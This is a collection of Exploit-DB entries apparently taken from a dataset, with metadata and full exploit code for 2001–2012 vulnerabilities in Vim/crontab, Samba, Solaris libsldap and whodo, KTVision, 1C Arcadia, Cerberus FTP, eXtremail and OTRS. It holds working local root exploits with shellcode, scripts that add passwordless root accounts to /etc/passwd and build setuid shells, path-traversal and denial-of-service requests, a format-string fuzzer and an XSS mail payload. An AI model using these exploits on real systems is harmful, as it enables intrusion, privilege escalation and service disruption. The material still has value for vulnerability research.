QLWD/code_shield huggingface dataset:
标题: Vim 5.x - Swap File Race Condition EDB-ID: 20967 CVE: 2001-0409 类型: LOCAL 平台: LINUX 发布日期: 2001-01-26 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/2927/info

Vim is an enhanced version of the popular text editor vi.

A race condition vulnerability exists in the swap file mechanism used by the 'vim' program. The error occurs when a swap file name for a file being opened is symbolically linked to a non-existent file.

By conjecturing the name of a file to be edited by another user, it may be possible for a local user to create a malicious symbolic link to a non-existent file. This could cause the new target file to be created with the permissions of the user running vim. 
*/

/*******************************************************************
             Crontab tmp file race condition

   http://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=37771

   Apparently this is fixed. Wonder why it still works. 
      -- zen-parse

                     Local exploit

   Quick and dirty exploit for crontab insecure tmp files
   Redhat 7.0 - kept up2date with up2date
   Checked Tue Jun 26 00:15:32 NZST 2001
   -rw-------    1 root     root         4096 Jun 26 00:15 evil

   Requires root to execute crontab -e while the program is
   running.

   Not really likely to be too big of a problem, I hope.

   Could possibly be useful with the (still unpatched) 
   makewhatis.cron bug.

/*******************************************************************
 #define SAFER [1000]
/*******************************************************************/
int shake(int script kiddy)
{
 int f;
 char r SAFER;
 int w;

 f=fopen("/proc/loadavg","r"); 
 fscanf(f,"%*s %*s %*s %*s %s",r);
 fclose(f);
 w=atoi(r);
 return w;
}

main(int argc,char *argv[])
{
 int p;
 char v SAFER;
 sprintf(v,"/tmp/.crontab.%d.swp",shake());
 symlink("/evil",v);
 while(access("/evil",0))
 {
  for(p=-30;p<0;p++)
  {
   sprintf(v,"/tmp/.crontab.%d.swp",shake()-p);
   symlink("/evil",v);
  }
  sprintf(v,"/tmp/.crontab.%d.swp",shake()-p);
  unlink(v);
 }
 for(p=-100;p<0;p++)
 {
  sprintf(v,"/tmp/.crontab.%d.swp",shake()-p);
  unlink(v);
 }
}

 /*****************************************************************
 **   ***   *       **       *********      ***********************
 **    *    *   **   ******   *******   **   **********************
 **         *   **   **      ********   *******   ***      ********
 **   * *   *       *******   *******   ******  *  *  *  *  *******
 **   ***   *   ***********   **   **   **   *  *  *  *  *  *******
 **   ***   *   ******       ***   ***      ***   **  ****  *******
 *****************************************************************/
         //   
        //  xxxx   xxx    xxx   x   x
       //  xx     x   x  x      x   x
      //   xx     x   x   xxx   x   x
     //    xx     x   x      x   x x  
    //      xxxx   xxx    xxx     x URL: https://www.exploit-db.com/exploits/20967
标题: Samba 2.0.x/2.2 - Arbitrary File Creation EDB-ID: 20968 CVE: 2001-1162 类型: REMOTE 平台: UNIX 发布日期: 2001-06-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/2928/info

Samba is a freely available file and printer sharing application maintained and developed by the Samba Development Team. Samba allows file and printer sharing between operating systems on the Unix and Microsoft platforms.

A remote local user can write arbitrary files on the Samba server, as the smb daemon does not sufficiently check NetBIOS name input. It is possible to overwrite files on the Samba server, and if a user has local access, potentially gain elevated privileges.

This problem makes it possible for a remote user to deny service to legitimate users, and a local user to potentially gain elevated privileges. 

smbclient //NIMUE/"`perl -e '{print "\ntoor::0:0::/:/bin/sh\n"}'`" -n ../../../tmp/x -N

From zhhsun <zhhsun@xanet.edu.cn>

smbclient //NIMUE/"`perl -e '{print "\nopendoor::511:511::/:/bin/sh\n"}'`" -n ../../../tmp/x -N -I 192.168.12.13

and also

smbclient //NIMUE/"`perl -e '{print "\ntoor::0:0::/:/bin/sh\n"}'`" -n ../../../tmp/x -N -I 192.168.12.13

Yugo Yugos <yuggoboy@hotmail.com> provided an exploit script. It is available at http://www.securityfocus.com/data/vulnerabilities/exploits/samba-exp.sh URL: https://www.exploit-db.com/exploits/20968
标题: Icecast 1.1.x/1.3.x - Slash File Name Denial of Service EDB-ID: 20973 CVE: 2001-1083 类型: DOS 平台: MULTIPLE 发布日期: 2001-06-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/2933/info

Icecast is an open source audio-streaming server for both Unix and Microsoft Windows systems.

Icecast does not sufficiently sanitize user-supplied input, or sanely handle unexpected input. Upon receiving a request from a user for a file that ends with a slash or period, the server will crash. The behaviour occurs when the remote attacker adds an '/', '\' or '.' to the end the URL they craft to request the file. The request of an existing file is not necessary, as the Icecast server will fail regardless. 

http://localhost:8000/file//

NOTE: File is interpreted by Icecast as the 'root' directory and anything after 'file/' indicates the file request. The character '/' triggers the denial of service. URL: https://www.exploit-db.com/exploits/20973
标题: Solaris 8 libsldap - Local Buffer Overflow (1) EDB-ID: 20969 CVE: 2001-1582 类型: LOCAL 平台: SOLARIS 发布日期: 2001-06-26 漏洞利用脚本: // source: https://www.securityfocus.com/bid/2931/info

Solaris 8 ships with a shared library that implements LDAP functionality called 'libsldap'. This library is linked to by a number of system utilities, many of them installed setuid or setgid.

Libsldap contains a buffer overflow vulnerability in it's handling of the 'LDAP_OPTIONS' environment variable.

Local attackers can exploit this vulnerability in setuid/setgid programs linked to libsldap to elevate privileges. 

/** !!!PRIVATE!!! 
 ** noir@gsu.linux.org.tr
 ** libsldap.so.1 $LDAP_OPTIONS enviroment variable overflow exploit;
 ** 
 **/
  
#include <stdio.h>

#define ADJUST      1


/* anathema@hack.co.za
** Solaris/SPARC shellcode
** setreuid(0, 0); setregid(0, 0); execve("/bin/sh", args, 0);
*/

char shellcode[] =
"\x90\x1a\x40\x09\x92\x1a\x40\x09\x82\x10\x20\xca\x91\xd0\x20\x08"
"\x90\x1a\x40\x09\x92\x1a\x40\x09\x82\x10\x20\xcb\x91\xd0\x20\x08"
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
"\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
"\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08";

struct type {
char *string;
char *path;
long retaddr;
};

struct type target[] = 
      {
 { "0, /usr/bin/passwd Solaris8, Sparc64", "/usr/bin/passwd", 0xffbefe98 },
 { "1, /usr/bin/nispasswd Solaris8, Sparc64", "/usr/bin/nispasswd", 0xffbefe98 },
 { "2, /usr/bin/yppasswd Solaris8, Sparc64", "/usr/bin/yppasswd", 0xffbefe98 },
 { "3, /usr/bin/chkey Solaris8, Sparc64 ", "/usr/bin/chkey", 0xffbefea8 },
 { "4, /usr/lib/sendmail Solaris8, Sparc64", "/usr/lib/sendmail", 0xffbefeb8 },
 { NULL, NULL, 0 } 
      };

int i;
unsigned long ret_adr;
char ldap[4000];
char egg[400];
char *envs[] = { ldap, egg, NULL };

main(int argc, char *argv[])
{

      if(!argv[1])
      {
              fprintf(stderr, "libsldap.so.1 $LDAP_OPTIONS enviroment variable \
buffer overflow\nExploit code: noir@gsu.linux.org.tr\nBug discovery: sway@hack.co.za\n\nUsage: %s target#\n\n", argv[0]);
      for(i = 0; target[i].string != NULL; i++)
      fprintf(stderr,"target#: %s\n", target[i].string);
      exit(0); 
      }

  ret_adr = target[atoi(argv[1])].retaddr;
 
  memset(egg, 0x00, sizeof egg);
  for(i = 0 ; i < 400 - strlen(shellcode) ; i +=4)
  *(long *)&egg[i] =  0xa61cc013; 
  for (i= 0 ; i < strlen(shellcode); i++) 
     egg[200+i]=shellcode[i];
  
 for ( i = 0; i <  ADJUST; i++) ldap[i]=0x58;
 for (i = ADJUST; i < 4000; i+=4)
    {
      ldap[i+3]=ret_adr & 0xff;
      ldap[i+2]=(ret_adr >> 8 ) &0xff;
      ldap[i+1]=(ret_adr >> 16 ) &0xff;
      ldap[i+0]=(ret_adr >> 24 ) &0xff;
    }
memcpy(ldap, "LDAP_OPTIONS=", 13);
 
ldap[strlen(ldap) - 3] = 0x00; //ldap[3998] has to be NULL terminated

execle(target[atoi(argv[1])].path, "12341234", (char *)0, envs);

} URL: https://www.exploit-db.com/exploits/20969
标题: Solaris 2.6/2.6/7.0/8 whodo - Local Buffer Overflow EDB-ID: 20974 CVE: 2001-1076 类型: LOCAL 平台: SOLARIS 发布日期: 2001-06-01 漏洞利用脚本: // source: https://www.securityfocus.com/bid/2935/info

The 'whodo' utility shipped with Sun Microsystems' Solaris provides a listing of users online and their activities. It is installed setuid root because it reads from the 'utmp' log as well as from the process table.

'whodo' contains a buffer overflow which can be exploited to gain root privileges.

#include <fcntl.h>

/*
   /usr/sbin/i86/whodo overflow proof of conecpt.

   Pablo Sor, Buenos Aires, Argentina 06/2001
   psor@afip.gov.ar, psor@ccc.uba.ar

   works against x86 solaris 8

   default offset +/- 100  should work.

*/

long get_esp() { __asm__("movl %esp,%eax"); }

int main(int ac, char **av)
{

char shell[]=
 "\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4"
 "\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf"
 "\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff"
 "\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53"
 "\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f"
 "\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff";

  unsigned long magic = get_esp() + 1180;  /* default offset */

  unsigned char buf[800];
  char *env;

  env = (char *) malloc(400*sizeof(char));
  memset(env,0x90,400);
  memcpy(env+160,shell,strlen(shell));
  memcpy(env,"SOR=",4);
  buf[399]=0;
  putenv(env);
  
  memset(buf,0x41,800);
  memcpy(buf+271,&magic,4);
  memcpy(buf,"CFTIME=",7);
  buf[799]=0;
  putenv(buf);

  system("/usr/sbin/i86/whodo");
} URL: https://www.exploit-db.com/exploits/20974
标题: KDE KTVision 0.1 - File Overwrite EDB-ID: 20961 CVE: 2001-0782 类型: LOCAL 平台: UNIX 发布日期: 2001-06-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/2913/info

KTVision works with frame-grabber cards and KDE (Unix K Desktop Environment) to support TV video display on the PC screen.

KTVision is vulnerable to symbolic link attacks.
It is possible for an attacker to anticipate the expected name of a KTVision config file. A local attacker can then create a symbolic link with the anticipated filename pointing to files on the system writable by ktvision, (which is frequently suid root).
This could allow an attacker to overwrite any file on the filesystem, completely undermining the the security of the exploited system.


#!/bin/bash

link=/home/paul/.kde/share/config
linkto=/etc/passwd
target=/opt/kde/bin/ktvision

echo ""
echo "KTVision <= 0.1.1-271 local r00t exploit by IhaQueR"
echo ""

if ! test -u $target ; then
        echo "[-] $target not found"
        exit 1
fi;

echo "[+] $target found"

rm -f sush*
cat <<__DUPA__>>sush.c
#include <stdio.h>
main()
{
        setuid(geteuid());
        setgid(getegid());
        execl("/bin/bash", "/bin/bash", NULL);
}
__DUPA__

echo "    compiling sush"
res=$(gcc sush.c -o sush)

if test "$res" != "" -o ! -x sush ; then
        echo "[-] failed"
        rm sush* ktvback.*
        exit 2;
fi;

echo "[+] success"

cp $linkto ktvback.$$
mkdir -p $link
rm -f $link/ktvisionrc
ln -s $linkto $link/ktvisionrc

echo ""
echo -n "now running... (ensure that X is up and running)"

$target >/dev/null 2>&1 &
cpid=$!

declare -i cnt
declare -i max
cnt=0
max=60

while ! test -O $linkto ; do
        sleep 1;
        printf "  %.2d" $cnt
        cnt=$(($cnt+1))
        if test $cnt -ge $max ; then
                echo ""
                echo ""
                echo "[-] FAILED"
                rm sush* ktvback.*
                exit 2;
        fi;
done;

kill -9 $cpid >/dev/null 2>&1
rm $link/ktvisionrc

echo ""
echo ""
echo "[+] SUCCESS, creating sush"
echo >>$linkto "r00t::0:0:root:/root:/bin/bash"
echo ""
su r00t -c "chown 0.0 sush; chmod u+s sush; chmod g+s sush; cp
ktvback.$$ $linkto; chown 0.0 $linkto"
rm ktvback.* sush.c

if ! test -u sush ; then
        echo "    hm strange error"
        rm sush* ktvback.*
        exit 1
fi;

echo ""
echo "starting ./sush"
./sush

#!plonk URL: https://www.exploit-db.com/exploits/20961
标题: 1C: Arcadia Internet Store 1.0 - Path Disclosure EDB-ID: 20948 CVE: 2001-0704 类型: REMOTE 平台: WINDOWS 发布日期: 2001-06-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/2904/info

1C: Arcadia Internet Store is a online shopping utility for Microsoft Windows NT/2000 that is fully integratable with 1C: Enterprise, another popular Russian web-commerce utility.

One of the components of this package, 'tradecli.dll', allows users to specify a template file, the contents of which will be output.

If the requested file does not exist, the error message will contain the absolute path of the application on the webserver.

This information may assist in further attacks. 

Exploit: http://host/scripts/tradecli.dll?template=nonexistfile URL: https://www.exploit-db.com/exploits/20948
标题: Cerberus FTP Server 1.x - Buffer Overflow (Denial of Service) (PoC) EDB-ID: 20946 CVE: 2001-0702 类型: DOS 平台: WINDOWS 发布日期: 2001-06-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/2901/info

erberus FTP Server is a free, multi-threaded file transfer utility for Microsoft Windows systems.

There is a buffer overflow in Cerberus FTP Server. The problem occurs when a user is attempting to authenticate. If the login fields(username, password) are filled with an excessive amount of characters(300+) then the affected service will crash. The FTP Server software will need to be restarted to regain normal functionality.

It has also been reported that entering an excessive amount of characters in just the password field will acheive the same result.

Due to the fact that the problem stems from a buffer overflow, there is a possibility that arbitrary code may be executed on the vulnerable host.

This vulnerability does not require any user authentication to exploit. It may be possible for remote users to cause a denial of service or execute arbitrary code on target hosts. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20946.exe URL: https://www.exploit-db.com/exploits/20946
标题: 1C: Arcadia Internet Store 1.0 - Arbitrary File Disclosure EDB-ID: 20947 CVE: 2001-0705 类型: REMOTE 平台: WINDOWS 发布日期: 2001-06-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/2902/info

1C: Arcadia Internet Store is a online shopping utility for Microsoft Windows NT/2000 that is fully integratable with 1C: Enterprise, another popular Russian web-commerce utility.

One of the components of this package, 'tradecli.dll', allows users to specify a template file, the contents of which will be output. There is no filtering on '..\' character sequences. As a result, remote users can specify an arbitrary file on the same drive as the webserver by 'traversing' outside of the web root directory.

This vulnerability may disclose sensitive information to attackers. 

Exploit: http://host/script/tradecli.dll?template=..\..\..\..\..\path\to\file URL: https://www.exploit-db.com/exploits/20947
标题: eXtremail 1.x/2.1 - Remote Format String (3) EDB-ID: 20954 CVE: 2001-1078 类型: REMOTE 平台: LINUX 发布日期: 2006-10-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/2908/info
  
eXtremail is a freeware SMTP server available for Linux and AIX.
  
eXtremail contains a format-string vulnerability in its logging mechanism. Attackers can send SMTP commands argumented with maliciously constructed arguments that will exploit this vulnerability.
  
eXtremail runs with root privileges. By exploiting this vulnerability, remote attackers can gain superuser access on the underlying host and can crash eXtremail. If the system is not restarted automatically, a denial of SMTP service will result.
  
UPDATE (April 26, 2004): Reportedly, this vulnerability has been reintroduced into the new version (1.5.9) of eXtremail.
  
UPDATE (October 26, 2007): Reports indicate that the 'USER' command of eXtremail 2.1.1 and prior is still vulnerable. Symantec has not confirmed this. 

#!/usr/bin/perl
#
# extremail-v3.pl
#
# Copyright (c) 2006 by <mu-b@digit-labs.org>
#
# eXtremail <=2.1.1 remote root POC (x86-lnx)
# by mu-b - Fri Oct 06 2006
#
# Tested on: eXtremail 2.1.1 (lnx)
#            eXtremail 2.1.0 (lnx)
#
#    - Private Source Code -DO NOT DISTRIBUTE -
# http://www.digit-labs.org/ -- Digit-Labs 2006!@$!
########

use Getopt::Std; getopts('t:n:u:p:', \%arg);
use Socket;

&print_header;

my $target;

if (defined($arg{'t'})) { $target = $arg{'t'} }
if (!(defined($target))) { &usage; }

my $pop3_port = 110;
my $send_delay = 1;

my $NOP = 'A';

srand(time());
while (1) {
    if (connect_host($target, $pop3_port)) {
        # [0,50) -> [1,50]
        $max_len  = int(rand(50) + 1);

        # [0, $max_len * 0.75) -> [0, ($max_len * 0x75) - 1]
        $pad1_len = int(rand($max_len * 0.75));

        # [0, ($max_len - $pad1_len)/2) -> [1, ($max_len - $pad1_len)/2]
        $pad2_len = int(rand(($max_len - $pad1_len)/length("%s")) + 1);

        $pad3_len = $max_len - $pad1_len - ($pad2_len * length("%s"));

        $buf = "USER ".
               ($NOP x $pad1_len).
               ("%s" x $pad2_len).
               ($NOP x $pad3_len).
               "\n";
        print("-> * Sending: $max_len $pad1_len $pad2_len $pad3_len 
".$buf);
        send(SOCKET, $buf, 0);
        sleep($send_delay);

        close(SOCKET);
    }
}

sub print_header {
    print("eXtremail <=2.1.1 remote root POC (x86-lnx)\n");
    print("by: <mu-b\@digit-labs.org>\n");
    print("http://www.digit-labs.org/ -- Digit-Labs 2007!@$!\n\n");
}

sub usage {
  print(qq(Usage: $0 -t <hostname>

     -t <hostname>    : hostname to test
));

    exit(1);
}

sub connect_host {
    ($target, $port) = @_;
    $iaddr  = inet_aton($target)                 || die("Error: $!\n");
    $paddr  = sockaddr_in($port, $iaddr)         || die("Error: $!\n");
    $proto  = getprotobyname('tcp')              || die("Error: $!\n");

    socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
    connect(SOCKET, $paddr)                      || die("Error: $!\n");
    return(1338);
} URL: https://www.exploit-db.com/exploits/20954
标题: 1C: Arcadia Internet Store 1.0 - Denial of Service EDB-ID: 20949 CVE: 2001-0703 类型: DOS 平台: WINDOWS 发布日期: 2001-06-21 漏洞利用脚本: // source: https://www.securityfocus.com/bid/2905/info

// 1C: Arcadia Internet Store is a online shopping utility for Microsoft Windows NT/2000 that is fully integratable with 1C: Enterprise, another popular Russian web-commerce utility.

// One of the components of this package, 'tradecli.dll', allows users to specify a template file, the contents of which will be output.

// Remote attackers can request dos devices, such as 'con', 'com1', 'com2', etc. When 'tradecli.dll' attempts to open these files a denial of service may occur. 

/*
 Proof of conecpt code by linux^sex
 Exploit provided by NERF Security gr0up
 Attempts to crash any server you specify
 running Arcadia 1C: Arcadia Internet Store 1.0
 on Windows NT/2000 fully integratable with 
 1C: Enterprise, another popular Russian 
 web-commerce utility. 

 code request dos devices, such as 'con', 'com1', 'com2', etc. 
 When 'tradecli.dll' attempts to open these files a denial of 
 service may occur. Vendor has not released any patches as of yet
 NOTE: I take no responsibility for the mis-use of this code
*/
 



#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>

#define PORT 80
char death[]= {
  "GET /scripts/tradecli.dll?template=com1 HTML/1.0\n\n\n"
  "GET /scripts/tradecli.dll?template=com2 HTML/1.0\n\n\n"
  "GET /scripts/tradecli.dll?template=com3 HTML/1.0\n\n\n"
  "GET /scripts/tradecli.dll?template=con HTML/1.0\n\n\n"
  "GET /scripts/tradecli.dll?template=prn HTML/1.0\n\n\n"
  "GET /scripts/tradecli.dll?template=aux HTML/1.0\n\n\n"
};

int main(int argc, char *argv[]) {
  int sockfd;
  char buf[1024];
  struct hostent *ha;
  struct sockaddr_in sa;
  if (argv[1] == NULL) {
    printf("Usage: %s <HOST>\n", argv[0]);
    printf("Proof of concecpt code by linux^sex\n");
    printf("contact me at linuxsex@crackdealer.com\n");
    printf("props to r00t-access crew\n");
    printf("visit us at www.r00taccess.ath.cx\n");
    exit(0);
  }

  if (!(ha = gethostbyname (argv[1])))
    perror ("gethostbyname");

  bzero (&sa, sizeof (sa));
  bcopy (ha->h_addr, (char *) &sa.sin_addr, ha->h_length);
  sa.sin_family = ha->h_addrtype;
  sa.sin_port = htons (PORT);
    
  if ((sockfd = socket (ha->h_addrtype, SOCK_STREAM, 0)) < 0) {
    perror ("socket");
    exit (1);
  }
  printf("Connecting\n");
  if (connect (sockfd, (struct sockaddr *) &sa, sizeof(sa)) < 0) {
    perror ("connect");
    exit (1);
  }
  printf("Connected...\nrequesting dos devices\n");
  send(sockfd, death, sizeof(death), 0);
  read(sockfd, buf, 1024, 0);
  if (buf != NULL) {
    printf("Host is not vulnerable\n");
    close(sockfd);
  }
} URL: https://www.exploit-db.com/exploits/20949
标题: OTRS Open Technology Real Services 3.1.8/3.1.9 - Cross-Site Scripting EDB-ID: 20959 CVE: 2012-4751 2012-4600 类型: WEBAPPS 平台: WINDOWS 发布日期: 2012-08-31 漏洞利用脚本: #!/usr/bin/python
 
'''
 
Author: Mike Eduard - Znuny - Enterprise Services for OTRS 
Product: OTRS Open Technology Real Services
Version: 3.1.8 and 3.1.9
Vendor Homepage: http://otrs.org
CVE: 2012-4600
 
Timeline:
22 Aug 2012: Vulnerability reported to vendor and CERT
23 Aug 2012: Response received from CERT and vendor
28 Aug 2012: Update from vendor to have it fixed and released on 30 Aug 2012 
30 Aug 2012: Update: vulnerability patched
     http://www.kb.cert.org/vuls/id/511404
     http://znuny.com/#!/advisory/ZSA-2012-02 
     http://www.otrs.com/en/open-source/community-news/security-advisories/security-advisory-2012-02/
31 Aug 2012: Public Disclosure
 
Installed On: Windows Server 2008 R2 & Open SUSE 12.1
Client Test OS: Window 7 Pro SP1 (x86)
Browser Used: Firefox 14 & Opera 12.01 
 
Injection Point: HTML Email 
Injection Payload(s):
1: <s<script>...</script><script>...<cript type="text/javascript">
2: document.write("Hello World!");
3: alert('Mike was here!');;
4: </s<script>//<cript> 
 
'''
 
import smtplib, urllib2
  
payload = """<s<script>...</script><script>...<cript type="text/javascript">
document.write("Hello World!");
alert(123);;
</s<script>//<cript>
"""
  
def sendMail(dstemail, frmemail, smtpsrv, username, password):
        msg  = "From: hacker@znuny.local\n"
        msg += "To: victim@victim.local\n"
        msg += 'Date: Today\r\n'
        msg += "Subject: Offensive Security\n"
        msg += "Content-type: text/html\n\n"
        msg += "XSS" + payload + "\r\n\r\n"
        server = smtplib.SMTP(smtpsrv)
        server.login(username,password)
        try:
                server.sendmail(frmemail, dstemail, msg)
        except Exception, e:
                print "[-] Failed to send email:"
                print "[*] " + str(e)
        server.quit()
  
username = "hacker@znuny.local"
password = "123456"
dstemail = "victim@victim.local"
frmemail = "hacker@znuny.local"
smtpsrv  = "127.0.0.1"
  
print "[*] Sending Email"
sendMail(dstemail, frmemail, smtpsrv, username, password) URL: https://www.exploit-db.com/exploits/20959